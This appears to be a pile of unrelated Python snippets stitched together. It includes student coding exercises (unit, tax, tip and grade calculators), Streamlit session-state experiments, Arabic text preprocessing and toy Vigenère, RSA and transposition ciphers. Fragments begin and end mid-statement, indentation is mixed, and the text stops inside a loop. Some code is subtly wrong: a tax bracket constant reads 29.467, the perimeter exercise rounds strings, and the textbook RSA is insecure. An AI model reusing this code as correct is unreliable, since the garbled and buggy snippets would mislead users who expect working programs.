    elif convertFrom == 'kg' and convertTo=='t':
        newvalue=value/1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from pound:
    if convertFrom == 'lbs' and convertTo=='kg':
        newvalue=value/2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='oz':
        newvalue=value*16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='st':
        newvalue=value/14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='t':
        newvalue=value/2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Ounce:
    if convertFrom == 'oz' and convertTo=='kg':
        newvalue=value/35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='lbs':
        newvalue=value/16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='st':
        newvalue=value/224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='t':
        newvalue=value/35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Stone:
    if convertFrom == 'st' and convertTo=='kg':
        newvalue=value*6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='lbs':
        newvalue=value*14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='oz':
        newvalue=value*224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='t':
        newvalue=value/157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')

    # convert from Tones:
    if convertFrom == 't' and convertTo=='kg':
        newvalue=value*1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='lbs':
        newvalue=value*2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='oz':
        newvalue=value*35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='st':
        newvalue=value*157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
#mass_convert()

def area_convrt():
    while True:
        value = input("Enter area: ")
        convertFrom = input("Enter unit you want to conver area from: ")
        convertTo = input("Enter unit you want to conver area from: ")
        validUnits= ['km2', 'm2', 'ha', 'ac','in^2','ft2','yd2']
        unitNames = {

        }
        try:
            value = float(value)
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid unit")
            else:
                break
        except ValueError:
            print("Conversion faild")
    
#area_convrt()
main()
import streamlit as st
from streamlit import session_state as ses

if "num_cases" not in ses:
    ses["num_cases"] = 3

delete_part = st.container()
        
if st.button("Add a row"):
    ses["num_cases"] += 1

cols = st.columns((1, 2))
for i in range(0, ses["num_cases"]):
    
    cols[1].write("")
    cols[1].write("")
    delete = cols[1].button(label="X", key="delete_" + str(i+1))
    
    with delete_part:
        st.write("delete")
        if delete:
            st.write("pressed")
            ses["num_cases"] -= 1
            st.write("text_" + str(i+1))
            cols[0].empty()
            cols[1].empty()
            del ses["text_" + str(i+1)]
    
    try:
        cols[0].text_input(label="Row " + str(i+1), key="text_" + str(i+1))
    except:
        pass


deletion = st.empty()
deletion.text_input(label="testing removability", key="removable")
if st.button("delete"):
    deletion.empty()
    del ses["removable"]



st.write(ses)
# ORRRRR save the inputs as "old" when submitting: ses["old_input"] = orig_input


import streamlit as st

st.set_page_config(page_title="PLAYGROUND", layout="wide")

# Init session states
if "num_changed" not in st.session_state:
    st.session_state["num_changed"] = False
if "select_changed" not in st.session_state:
    st.session_state["select_changed"] = False
if "old_res" not in st.session_state:
    st.session_state["old_res"] = 0
if "toggle_results" not in st.session_state:
    st.session_state["toggle_results"] = False

# on_change Changed fr selectbox, changed by selectbox is true so it can change the result input
def change_fr_select():
    st.write("Change fr select")
    st.session_state["select_changed"] = True
    st.session_state["num_changed"] = False

    st.session_state["toggle_results"] = False

    return

# on_change Changed fr num_input, changed by num_input is true to prevent result input from changing
def change_fr_num():
    st.write("Change fr num")
    st.session_state["num_changed"] = True
    st.session_state["select_changed"] = False

    st.session_state["toggle_results"] = True

    return

# Calc function
def calculate(num1, num2):
    st.write("num_changed", st.session_state["num_changed"])
    st.write("select_changed", st.session_state["select_changed"])
    st.write("toggle_results", st.session_state["toggle_results"])
    
    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state["select_changed"] == True:
        st.write("selectbox")
        res = num1 * num2
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state["num_changed"]:
        st.write("num_input")
        res = st.session_state["old_res"]
    return res



# TODO checkbox to toggle between updated calculation or (manual) input

cols = st.columns((5, 5, 5, 5))

selection = cols[0].selectbox(label="Wheee", options=["one", "two", "three", "four"], on_change=change_fr_select)
assert selection is not None
list1 = {
    "one": 2,
    "two": 6,
    "three": 9,
    "four": 0
}
list2 = {
    "one": 1,
    "two": 8,
    "three": 4,
    "four": 3
}
num1 = cols[2].number_input(label="Num 1", value=list1[selection], on_change=change_fr_num)
num2 = cols[3].number_input(label="Num 2", value=list2[selection], on_change=change_fr_num)

together = calculate(num1, num2)
st.write(together)


result = cols[1].number_input(label="Result", value=together)
st.session_state["old_res"] = result
# TODO toggle b/w old and new results
if st.session_state["toggle_results"] == True:
    cols[1].checkbox("Different result detected!  Click to use new result", help="You changed one of the parameters used to estimate this value.  You can choose to use the estimation or keep your current value.")

st.write(st.session_state["select_changed"])
st.write(st.session_state["num_changed"])

st.markdown("---")






# Implementation
# num on_change Changed fr selectbox, changed by selectbox is true so it can change the num1 input
def change_fr_select(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the selectbox has changed to determine if the num1 should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("select")
    st.session_state[select_changed] = True     # user has changed selectbox value
    st.session_state[num_changed] = False       # thickness and density should not change modulus

    st.session_state[toggle_results] = False    # toggle whether recalculated modulus or manual input should not appear, selectbox should change the modulus 

    return



# select on_change
def select_on_change(select_changed, num_changed, old_result, toggle_results, index, case_n):
    st.write(select_changed, st.session_state[select_changed])
    st.write(num_changed, st.session_state[num_changed])
    st.write(toggle_results, st.session_state[toggle_results])

    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state[select_changed] == True:
        st.write("selectbox")
        st.session_state[old_result] = False
        res = 10**(31*st.session_state["num1_layer_" + str(index-1) + "_case_" + str(case_n)] - 1.89*((st.session_state["num2_layer_" + str(index-1) + "_case_" + str(case_n)]**29)))
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state[num_changed] == True:
        st.write("num_input")
        st.session_state[old_result] = True

    return res


# num on_change Changed fr num_input, changed by number_input is true so it does NOT change the modulus input 
def change_fr_num(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the bending stiffness thickness and/or density inputs have changed to determine if the modulus should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("num")
    st.session_state[num_changed] = True        # num1 and num2 should change select
    st.session_state[select_changed] = False    # user has not changed selectbox value

    st.session_state[toggle_results] = True    # toggle whether recalculated modulus or manual input should appear, user can toggle between their own or recalculated value

    return
# write aprogram to calculate the volune and surface area of a cuboid:
"""
Take three inputs: 
1. height
2. width 
3. length 

"""
height=float(input("Enter the height: "))
width=float(input("Enter the width: "))
length=float(input("Enter the length: "))

# print the given information in two decimal places:
print(f"Given h = {round(height,2)}, w = {round(width,2)}, l = {round(length,2)}")

# calculate the volume:
volume= height*width*length
print(f"The volume is {round(volume,2)}cm3")

# calculate the surface area:
surface= 2*length*width+2*length*height+2*height*width
print(f"The surface area is {round(surface,2)}cm2")
# Weekly coding exercise:
"""
Thisprogram will calculate the tip and cost of the meal 
to be split between griends at a restaurant.

Take three inputs:
1. Total price of the meal
2. The percentage of tip to be given
3. The number of friends to split the cost by

"""
totalPrice= float(input("Enter the total price of the meal: "))
tip= float(input("Enter the the percentage of the tip to be given in (of 100): "))
friends= float(input("Enter the number of friends to split the bill by: "))
if tip>=totalPrice:
    print("Invalid tip or invalid meal price")
elif tip>100 or tip<0:
    print("Invalid tip")
elif friends<2:
    print("Need more friends to split the bill by")
else: 
    # calculate tip:
    calculateTip= (totalPrice)*(tip/100)
    # add tip to the price: 
    mealTip = (totalPrice)+(calculateTip)

    print(f"The meal total (with tip) is ${mealTip}")
    person = (mealTip)/(friends)

    print(f"Each person should pay ${round(person,2)}")
# weekly coding exercise propleam 1:
"""
This program will calculate the perimeter of a rectangle
Take two inputs:
1. width  
2. length 
- do some validation
- convert to float and 2 D.P

"""
width = input("Enter width in centimeters: ")
length = input("Enter length in centimeters: ")

p = 2*(float(width)+float(length))
if width == length:
    print("Incorrect inputs")
else:
    print(f"The perimeter of a rectangle with width {round(width,2)}cm and length{round(length,2)}cm is {round(p,2)}cm.")
import streamlit as st
import pandas as pd

@st.cache(show_spinner=False)
def excel_init():
    # Use database like in Bending Stiffness model
    orig_database_path = "/path/to/file.xlsx"      # local copy of the Excel database used in Bending Stiffness & Permeability model
    read_orig_database = r"" + orig_database_path
    sheet_name = "Database"
    
    # Read in the Resin/Materials from Carol's Excel file for getting data by column
    ses["read_table"] = pd.read_excel(read_orig_database, sheet_name=sheet_name, engine='openpyxl', skiprows=3)   # skip first 3 rows since they are either empty space or extra headers

    # Excel column header names from original materials database for easily reading the database column values
    ses["col1"] = ses["read_table"].columns[0]      # "Column 1"
    ses["col3"] = ses["read_table"].columns[2]      # "Column 3"
    ses["col6"] = ses["read_table"].columns[5]      # "Column 6"
    
    # Setting up list of materials for dropdown
    col1_pandas = pd.DataFrame(ses["read_table"][ses["col1"]].values)  # get col1 column values as pandas dataframe
    customize_options = pd.DataFrame(["[Placeholder]"])                                              # "blank" placeholder for any item not in the database
    ses["list_streamlit"] = pd.concat([customize_options, col1_pandas], axis=0)                       # axis=0 --> concat by row, axis=1 --> concat by col

    # Assign "Excel indices" for easy data retrieval (same applies to col3, col6, etc.) after user selects a material (need to start range at 1 since Excel is 1-based index, not 0-based)
    # we access the item by
    ses["col1_prefill_index"] = {}                                                         # [material_name_key]: [index_0-based_val]
    for i in range(1, len(ses["read_table"][ses["col1"]]) + 1):      # loop through col1 pandas dataframe "list"
        ses["col1_prefill_index"][ses["read_table"][ses["col1"]][i-1]] = i-1
    
    return
# Num cases + in session state
num_cases = st.selectbox('Select the number of cases for comparison, maximum of 12', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], key="num_cases")


# Nav options: dynamically append/remove # of cases menu bar has
case_pages = {}
for x in range(1, st.session_state["num_cases"] + 1): case_pages["Case " + str(x)] = x

# "Slice" dictionary according to input for # of cases + case titles
# One-liner for iterating through dictionary for num_cases times to show both the case and the summary page names in the navigation "tabs"
case_pages_sliced = dict(itertools.islice(case_pages.items(), 0, st.session_state["num_cases"]))

# Add "Summary" option at end of options list
case_pages_sliced["Summary"] = 0
def group_by_owners(files):
  owners = {}
  for file, owner in files.items():
    if owner not in owners:
      owners[owner] = []
    owners[owner].append(file)
  return owners
import streamlit as st
import multipage_streamlit as mt


# Check preserved session state if you need to replace value with user input or material has changed with the multipage ses state library
def old_persistent_ses_state(old_extracted_val_ses, current_extracted_val_ses, extracted_input):
	""" Determines if preserved inputs can have its value replaced or not, via user input or material change

        Args:
            old_extracted_val_ses (string): session state of old input value to determine if value gets replaced or not
            current_extracted_val_ses (string): session state of current input value
            extracted_input (int): input value for current input
    """    
    
    if old_extracted_val_ses in ses and ses[old_extracted_val_ses]!=extracted_input and current_extracted_val_ses in ses: ses[current_extracted_val_ses] = extracted_input
    
    return


# app.py
app = mt.MultiPage()
app.add("Page 1", page_1.app)	# no parentheses or else it will run even when not selected!
app.add("Page 2", page_2.app)

# page_1.py
def app():
	select = st.selectbox(label="Input 1 Page 1", options=[1, 2, 3], key=state("input_1_page_1"))	# don't need to init session state, will default to first item/0 for num_input
	value = st.number_input(label="Input 2 Page 1", key=state("input_2_page_1", select))
	
	# Save old session state to prevent overwriting
    
port matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns

# creating a dictionary
sns.set_style("whitegrid")
plt.rc('font', size=16) #controls default text size
plt.rc('axes', titlesize=16) #fontsize of the title
plt.rc('axes', labelsize=16) #fontsize of the x and y labels
plt.rc('xtick', labelsize=16) #fontsize of the x tick labels
plt.rc('ytick', labelsize=16) #fontsize of the y tick labels
plt.rc('legend', fontsize=16) #fontsize of the legend

# load dataset - census income
census_income = pd.read_csv(r'../input/income/train.csv')

# define figure
fig, (ax1, ax2) = plt.subplots(2)
fig.set_size_inches(18.5, 10.5)

# plot age histogram
age_count = census_income.groupby(by=["age"])["age"].count()
ax1.bar(age_count.index, age_count, color='black')
ax1.set_ylabel("Counts")
ax1.set_xlabel("Age")

# binning age
def age_bins(age):
    if age < 29:
        return "1 - young"
    if age < 60 and age >= 29:
        return "2 - middle-aged"
    else:
        return "3 - old-aged"

# apply trans. function
census_income["age_bins"] = census_income["age"].apply(age_bins)

# group and count all entries in the same bin
age_bins_df = census_income.groupby(by=["age_bins"])["age_bins"].count()

ax2.bar(age_bins_df.index, age_bins_df, color='grey')
ax2.set_ylabel("Counts")
ax2.set_xlabel("Age")
# This program will convert a given mark to its corresponding grade:
# 1. Take user inputs:


mark = input("Ënter a mark between 0 to 100: ")

# repeat the process until the user enter q
while mark != 'q':
    mark=int(mark)
    if mark>100 or mark<0:
        print("Mark Invalid")
    elif mark>=0 and mark<= 49:
        print(f"Grade for {mark} is N (Fail)")
    elif mark>=50 and mark<= 59:
        print(f"Grade for {mark} is P (Pass)")
    elif mark>=60 and mark<= 69:
        print(f"Grade for {mark} is C (Credit)")
    elif mark>=70 and mark<= 79:
        print(f"Grade for {mark} is D (Distinction)")
    else:
        print(f"Grade for {mark} is HD (High Distinction)")
# get a new mark:
    mark = input("Ënter a mark between 0 to 100: ")
# this program is designed to help the user get the maultiplication series tables:

# 1. first take user inputs:
SeriesStart= int(input("Series Start value: "))
seriesEnd = int(input("Series End value: "))
# The first multiplication table: 
tableStart= int(input("Table Start Value: "))
# The last multiplication table: 
tableEnd= int(input("Table End Value: "))


if seriesEnd<=SeriesStart:
    print("Invalid End Value")
if tableEnd<= tableStart:
    print("Invalid ENd Value")
else:
    for i in range(SeriesStart,seriesEnd+1):
        # print a heading(i)
        print("multiplication table", i)
        for j in range (tableStart, tableEnd +1):
            print(j, 'X',i, '=', i*j)
# ask the user of the series of multiplication table they want it to be printed: 
multiple = int(input("Enter the multiplication table series to generat: "))
# set the first value in the table as 1:
value = 1

# To make sure that the multiplication table will be up to 12:
while value<=12:
    # Formula
    number = multiple * value
    # to print the result using required format:
    print(f"{value} x {multiple} = {number}")
    # in order to inctease the value by 1, using this syntax:
    value = value+1
# Basics of lists:
""""
monash = ["ENG1013", "ENG1012", "ENG1021", "MTH1020", [15082000, 'Shaghaf']]   
whenever I want to put a string within a list, I have to put qoutation marks "".
the last item in the list is a list inside another list, I just have to put a square brackets to refer to the list []

another way to print the last item in the list is by using this syntax 
print(monash[-1])

لو كنت ابغى البرنمج يطبع لي العناصر كلها من الأول الى الأخير بدون  ما يتضمن الأخير
print(monash[0:4])

لو كنت حابة اطبع من عند عنصر معين الى نهاية القائمة
print(monash[3:]) 3 العنصر اللي ببدا منه
print(monash[1:])

"""

# لو كنت حابة اغير العنصر الأول
""""
monash[1]= 'ENG1014'
print(monash[1])
monash[0] = 'ENG1005'
print(monash[0])
monash[2] = 'ENG1011'
monash[3] = 'BMS1021'
print(monash)
"""
monash = ["ENG1013","ENG1013", "ENG1012", "ENG1021", "MTH1020", 'Shaghaf']  
rmit = ["Math", 'Physics Basics', 'Introduction to Engineering', 15, True]
# to print out the to lists at the same time use this symtax:
# print(monash, rmit)
""""
functions in lists:
in order to join these two lists in one list, there are 3 ways:

1.  use .extend() function 
the_ma_infunction.extend(the_function_that_you_it_to_be_added)
then print out the main function
monash.extend(rmit)
print(monash)

2. use this syntax: 
monash += rmit
print(monash)

3. use this synatx:
monash = monash + rmit
print(monash)

"""
# to add another item into the list use .append(), then you must print out the new list
# هذه الطريقة تضيف عنصر جديد في نهاية القائمة فقط 
"""
monash.append("ENG111")
print(monash)
monash.append("ENG2000")
print(monash)
monash.append("ENG3000")
 print(monash)

"""

# insert function: تستخد لأضافة عنصر جديد في مكان معين في القائمة 
"""
monash.insert(index location, 'new item')
monaash.insert(1, ENG1015)
print(monash)

"""
 # to remove an item from a list, there are 2 ways:
""""
1. using .remove() function: in the bracket I have to write the the string itself not the index
monash.remove("ENG1021")
print(monash)
2. using .pop() function 
print(monash)

""" 
 # to delete everything inside a list: follow this syntax
"""
monash.clear()
print(monash)
RMIT.clear()
print(rmit)

    """
# In order to delete the last item only: use .pop()
""""
monash.pop()
print(monash)

"""
# Also in pop function I can save what has been poped:
"""
last_item_popped = monash.pop()
print(last_item_popped)

"""
# if I wanna know the items that are duplicated within a list use:
"""
print(monash.count("ENG1013"))
print(listname.count("the item required to be counted"))

"""
# in lists, we can organize the list using .sort() function:
# alphabetically when it comes to strings and from smallest number to the biggest
# This  program that will identify the smallest value in a list of items:

values = [3005,9117,8474,2513,7004,7248,8669,9234,5428,7812,711,3908,5748,969,3296,589,2216,1792,4593,6888,2554,111,8455,8000,9158,2546,1757,6620,375,1521,9712,7185,5841,5699,9175,4525,4157,1622,8131,2736,4735,7740,1261,6249,423,7362,5653,3966,5016,8195,3465,294,7675,3075,7193,6348,2272,30,6390,2976,9344,1565,6988,2458,5365,4121,1695,4752,3251,4600,8490,5179,9572,7384,2990,9094,4746,6487,5948,8607,9311]
minVal = values[0]
# to make sure that the first value is the smallest value, I should compare it whith every single element in the list
for item in values:
    if item<minVal:
        minVal=item
    

print(f"Minimum value in list is {minVal}")
import io

# Export to CSV/Excel file
# Prep file to be saved
data_buffer = io.BytesIO()                                      # "placeholder" to hold data to be added to Excel sheet
writer = pd.ExcelWriter(data_buffer, engine="xlsxwriter")       # # write as Excel file
workbook = writer.book                                          # "create" empty Excel file
worksheet_summary = workbook.add_worksheet("Case " + str(case_n) + " Summary")   # write worksheet tab for "each" case
bold = workbook.add_format({"bold": True})                      # # Enable bold formatting
row = 0                                                         # start at top of Excel file

# Can turn this into a function instead
# Creating Table 1
worksheet_summary.write(row, 0, "Table 1", bold)      			# Table 1 title, bold format
form_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in st.session_state[summary_sess_state]:               # go through each data in form. table
	worksheet_summary.write(form_start_row, col, each)          # write out the header row
    row = form_start_row + 1                                    # go to next row
    for item in range(0, len(st.session_state[summary_sess_state])):  # get each "sub-data" inside the dataframe after the header row
		try: worksheet_summary.write(row, col, st.session_state[summary_sess_state][each][item])    # write the "sub-data" in their respective locations
		except: pass
        row += 1            # go to next row
    col += 1        # go to next col
row += 2                                                        # next 2 rows for next table
    
# Creating Table 2
worksheet_summary.write(row, 0, "Table 1", bold)        		# Table 2 title, bold format
comp_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in summary_table_component_results:                    # go through each data in comp. table
	worksheet_summary.write(comp_start_row, col, each)          # write out the header row
	row = comp_start_row + 1                                    # go to next row
    for item in range(0, len(summary_table_component_results)): # get each "sub-data" inside the dataframe after the header row
    	worksheet_summary.write(row, col, summary_table_component_results[each][item])
        row += 1
    col += 1
row +=1
or Windows User coming to this post, follow these steps:-

You can make sure that pip is up-to-date by running: python -m pip install --upgrade pip

Install virtualenv by running: python -m pip install --user virtualenv

Finally create environment using python -m virtualenv <your env name>
#Individual coding task 2 solution 
#get the current time and greet based on the time 

#get the time in the correct HH:MM format 
currenttime = input("Enter the current time in HH:MM 24 hour format: ")

#split the time into hours and minutes
splittime = currenttime.split(':')

#convert the minutes and hours to numbers 
splittime[0] = int(splittime[0])
splittime[1] = int(splittime[1])

#use the hours(the first part of splittime) to work out the greeting
if splittime[0]<12: #below 12 it is before noon
    print("Good Morning")
elif splittime[0]>=12 and splittime[0]<16: #above 12 and below 16
    print("Good Afternoon")
elif splittime[0]>=16 and splittime[0]<19: #above 16 and below 19
    print("Good Evening")
else: #must be before midnight 
    print("Good Night")
# first step is getting inputs from the user:
firstName = input("Enter your first name: ")
lastName = input("Enter your last name: ")
title = input("Enter your preferred title: ")

# capitalize the first letter only:
firstName = firstName.capitalize()
title = title.capitalize()

# capitalize the whole word:
lastName = lastName.upper()


print(f"Greetings, {title}. {firstName} {lastName}")
def delete_links(input_text):
    pettern  = r'(?i)\b((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))'
    out_text = re.sub(pettern, ' ', input_text)
    return out_text

def delete_repeated_characters(input_text):
    pattern  = r'(.)\1{2,}'
    out_text = re.sub(pattern, r"\1\1", input_text)
    return out_text

def replace_letters(input_text):
    replace = {"أ": "ا","ة": "ه","إ": "ا","آ": "ا","": ""}
    replace = dict((re.escape(k), v) for k, v in replace.items()) 
    pattern = re.compile("|".join(replace.keys()))
    out_text = pattern.sub(lambda m: replace[re.escape(m.group(0))], input_text)
    return out_text

def clean_text(input_text):
    replace = r'[/(){}\[\]|@âÂ,;\?\'\"\*…؟–’،!&\+-:؛-]'
    out_text = re.sub(replace, " ", input_text)
    words = nltk.word_tokenize(out_text)
    words = [word for word in words if word.isalpha()]
    out_text = ' '.join(words)
    return out_text

def remove_vowelization(input_text):
    vowelization = re.compile(""" ّ|َ|ً|ُ|ٌ|ِ|ٍ|ْ|ـ""", re.VERBOSE)
    out_text = re.sub(vowelization, '', input_text)
    return out_text

def delete_stopwords(input_text):
    stop_words = set(nltk.corpus.stopwords.words("arabic") + nltk.corpus.stopwords.words("english"))
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    wnl = nltk.WordNetLemmatizer()
    lemmatizedTokens =[wnl.lemmatize(t) for t in tokens]
    out_text = [w for w in lemmatizedTokens if not w in stop_words]
    out_text = ' '.join(out_text)
    return out_text

def stem_text(input_text):
    st = ISRIStemmer()
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    out_text = [st.stem(w) for w in tokens]
    out_text = ' '.join(out_text)
    return out_text


def text_prepare(input_text, ar_text):
    out_text = delete_links(input_text)
    out_text = delete_repeated_characters(out_text)
    out_text = clean_text(out_text)
    out_text = delete_stopwords(out_text)
    if ar_text:
        out_text = replace_letters(out_text)
        out_text = remove_vowelization(out_text)
    else:
        out_text = out_text.lower()
    return out_text
# this program will calculate the third side by using phythegrasos theorm:
import math # this is necessary for the formula particularly sqr
sideA = input("Please enter side A: ")
sideB = input("Please enter side B: ")
sideC = input("Please enter side C: ")

# to find which side is empty use if statement and  to refer to empty in coding is ''

if sideA == '':
    sideB = float(sideB)
    sideC = float(sideC)
    sideA = math.sqrt(sideC**2 - sideB**2)
    print(f"Given side C = {sideC} and side B = {sideB}")
    print(f"Calculated Side A as {round(sideA,4)}")
elif sideB == '':
    sideA = float(sideA)
    sideC = float(sideC)
    sideB = math.sqrt(sideC**2 - sideA**2)
    print(f"Given side C = {sideC} and side A = {sideA}")
    print(f"Calculated Side B as {round(sideB,4)}")
else:
    sideA = float(sideA)
    sideB = float(sideB)
    sideC = math.sqrt(sideA**2 + sideB**2)
    print(f"Given side A = {sideA} and side B = {sideB}")
    print(f"Calculated Side C as {round(sideC,4)}")
import math
name = input("Enter your name: ")
taxableIncome = float(input(f"Hi {name}, please enter your taxable income: "))
#round the users income to the lowest whole number 
taxableIncome = math.floor(taxableIncome)
# if statement to dtermine the appropriate tax:
if taxableIncome>=0 and taxableIncome<=18200:
    print(f"{name} has a taxable income of ${taxableIncome}, whith a total amount of $0 tax due.")
elif taxableIncome >= 18201 and taxableIncome <= 45000:
    tax= 0.19*(taxableIncome - 18200)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome >=  45001 and taxableIncome<= 120000:
    tax = 5092+ 0.325*(taxableIncome - 45000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome>= 120001 and taxableIncome<= 180000:
    tax = 29.467+0.37*(taxableIncome - 120000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
else:
    tax = 51667+0.45*(taxableIncome - 180000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
def push(stack, item):
    stack.append(item)
    print("Item pushed to stack")


def pop(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        stack.pop()
        print("Item popped from stack")


def peek(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack[-1])


def display(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack)


def main():
    stack = []
    choice = 0
    while choice != 6:
        print("1. Push")
        print("2. Pop")
        print("3. Peek")
        print("4. Display")
        print("5. Exit")
        choice = int(input("Enter your choice : "))
        if choice == 1:
            item = input("Enter the item to be pushed : ")
            push(stack, item)
        elif choice == 2:
            pop(stack)
        elif choice == 3:
            peek(stack)
        elif choice == 4:
            display(stack)
        elif choice == 5:
            exit()
        else:
            print("Wrong choice")


if __name__ == '__main__':
    main()
def addNums(a,b):
    summa = a + b
    return summa
ARABIC_PUNCTUATION = ':"؟!؛،,.؍, '

def remove_arabic_punctuations(text : str) -> str:
    '''
        text : ", أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "  أَهْلًا وسَهْلًا Hello 212"
    '''
    chars = [char for char in text if (char not in ARABIC_PUNCTUATION)]
    output = ''.join(chars)
    return output
def remove_diacritics(text : str) -> str:
    '''
        text : "أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "أهلا وسهلا Hello 212"
    '''
    chars = [char for char in text if (char not in HARAKAT)]
    output = ''.join(chars)
    return output
pip install numpy

a = np.zeros((2, 3))

print(a)
import math
from random import getrandbits


def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a

def modinv(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

def is_prime(n):
    if n in [2, 3]:
        return True
    if n == 1 or n % 2 == 0:
        return False
    for i in range(3, int(n ** 0.5) + 1, 2):
        if n % i == 0:
            return False
    return True

def generate_keypair(p, q):
    if not (is_prime(p) and is_prime(q)):
        raise ValueError('Both numbers must be prime.')
    elif p == q:
        raise ValueError('p and q cannot be equal')

    n = p * q
    phi = (p - 1) * (q - 1)

    e = getrandbits(phi.bit_length())
    g = gcd(e, phi)
    while g != 1:
        e = getrandbits(phi.bit_length())
        g = gcd(e, phi)

    d = modinv(e, phi)

    return ((e, n), (d, n))

def encrypt4(pk, plaintext):
    key, n = pk
    cipher = [(ord(char) ** key) % n for char in plaintext]
    return cipher

def decrypt4(pk, ciphertext):
    key, n = pk
    plain = [chr((char ** key) % n) for char in ciphertext]
    return ''.join(plain)

def encryptMessage(key, message):
    
    cipherText = [""] * key
    for col in range(key):
        pointer = col
        while pointer < len(message):
            cipherText[col] += message[pointer]
            pointer += key
    return "".join(cipherText)

def decryptMessage(key, message):
    
    numCols = math.ceil(len(message) / key)
    numRows = key
    numShadedBoxes = (numCols * numRows) - len(message)
    plainText = [""] * numCols
    col = 0
    row = 0
 
    for symbol in message:
        plainText[col] += symbol
        col += 1
 
        if (
            (col == numCols)
            or (col == numCols - 1)
            and (row >= numRows - numShadedBoxes)
        ):
            col = 0
            row += 1
 
    return "".join(plainText)
    
x = 1
while(x==1):
